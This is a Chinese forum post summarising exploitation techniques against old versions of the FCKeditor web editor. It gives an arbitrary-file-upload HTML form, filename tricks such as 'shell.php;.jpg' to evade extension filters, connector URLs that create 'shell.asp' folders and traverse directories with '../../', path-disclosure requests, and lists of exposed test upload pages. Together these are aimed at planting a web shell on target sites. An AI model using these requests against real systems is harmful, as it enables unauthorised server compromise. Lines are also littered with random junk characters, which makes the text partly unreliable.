找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2652|回复: 1
打印 上一主题 下一主题

FCKeditor漏洞利用总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 20:23:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结

查看编辑器版本5 s# r! \2 o1 n; `; Q4 I( C
FCKeditor/_whatsnew.html- e6 t; W& m) E
—————————————————————————————————————————————————————————————

2. Version 2.2 版本9 ^/ Q. r: S8 I% B- [1 q1 x
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
7 L9 n+ n' ^0 O7 T  @—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。* u) G% a( U( f! u) z4 f/ H
<form id="frmUpload" enctype="multipart/form-data"
. w# A9 r* z* c; Iaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>0 N4 P, f  a3 q% U( d7 w/ b
<input type="file" name="NewFile" size="50"><br>
# l  x1 E) I: U/ q" \! |<input id="btnUpload" type="submit" value="Upload">
7 Z! \+ F0 T( D8 N</form>
. v! i6 l; X( i8 t" v—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
2 O2 S8 O7 {1 \) H1 t        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。6 [" x6 y" ^+ p3 j7 O" V2 k2 f$ o
    4.1:提交shell.php+空格绕过
  P, H/ F" s$ j& ~; `: ?. _' [) z) }" h不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。. k' j' {2 }6 d4 N' E# @! L  |
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。8 [8 Q4 X4 b/ M/ R
—————————————————————————————————————————————————————————————

5. 突破建立文件夹4 Y1 J9 E& x( @9 z- W2 S! d# w# ]
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
% D( p0 W0 W! ]8 e# |# d6 Z/ fFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
9 f# q9 K% `0 f! Z+ a% ?6 O—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
# `; G1 B: g7 Q2 E0 r$ GFCKeditor/editor/filemanager/browser/default/connectors/test.html$ d7 }8 _+ K$ C" c! `5 d0 ?
FCKeditor/editor/filemanager/upload/test.html8 v! y6 n+ R! s5 s9 K
FCKeditor/editor/filemanager/connectors/test.html4 j( T0 W* V6 M% l1 Y5 m/ A
FCKeditor/editor/filemanager/connectors/uploadtest.html% [- k& C6 T6 `! e; d8 ]4 U7 h/ p
—————————————————————————————————————————————————————————————4 v% B$ C2 U% ]+ k; @

7.常用上传地址
7 ], G1 _& ?1 QFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/5 |* E6 k! S; N) g$ J7 i; E; t* X
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
! ?; o$ p. v0 ]; r% R. rFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)+ ]8 B$ |) m) d7 g
JSP 版:' d3 \  m" k) Y2 n3 j0 N* o
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
0 l# y, j6 `0 }6 W3 S' n2 I* c注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
" |8 |4 C  T4 V: m& r6 `# d件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。6 L' n' Q" Q/ A- r) k# p; E6 Y
—————————————————————————————————————————————————————————————

8.其他上传地址# \/ W" Z" `; _0 t7 H4 k6 ]
FCKeditor/_samples/default.html
% c( k6 U1 x- U  H: F% x9 E" Z' EFCKeditor/_samples/asp/sample01.asp
# k% P' d  b$ f2 J2 f/ uFCKeditor/_samples/asp/sample02.asp; o  F" R+ W9 {( p( x% y
FCKeditor/_samples/asp/sample03.asp
' @/ x5 O3 F( R7 IFCKeditor/_samples/asp/sample04.asp6 z! Z2 Q# w) H- b. H; _
一般很多站点都已删除_samples 目录,可以试试。
  Q8 I. `* M: K; m% y" X2 XFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
/ ]1 Z& f, |! N( C! D- l—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址
* d7 N% I. M' U0 H, c/ |5 rVersion 2.4.1 测试通过
/ `- t" f: b/ I0 a5 h修改CurrentFolder 参数使用 ../../来进入不同的目录8 r8 m( y% ]" [9 i
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp# M2 G4 X" u5 `* S) O
根据返回的XML 信息可以查看网站所有的目录。5 q- e# B! W5 a& ~# q: h
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F: l$ g* ]% x) e1 C( R
也可以直接浏览盘符:
1 @0 r5 O: N! r  k+ wJSP 版本:
( F0 y. d2 V  v7 E' mFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
6 @& A0 Y  l' T& [7 ?- L—————————————————————————————————————————————————————————————

10.爆路径漏洞
0 T; p( W# s# _6 w0 D6 hFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp+ Y, d, A! }* t
—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
7 _1 R$ T$ M4 T        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
" H4 ~# u5 D0 I: `脆弱描述:
) p, ^; _7 g7 @& L' TFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
: ~$ r- j. H9 Chtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
1 c8 T7 K2 q  v6 YFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
# w& v2 c/ s2 L( t' U) X        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
3 T/ O5 O* g, c4 C: E$ o" [        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

回复

使用道具 举报

沙发
发表于 2012-9-8 22:43:14 | 只看该作者

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表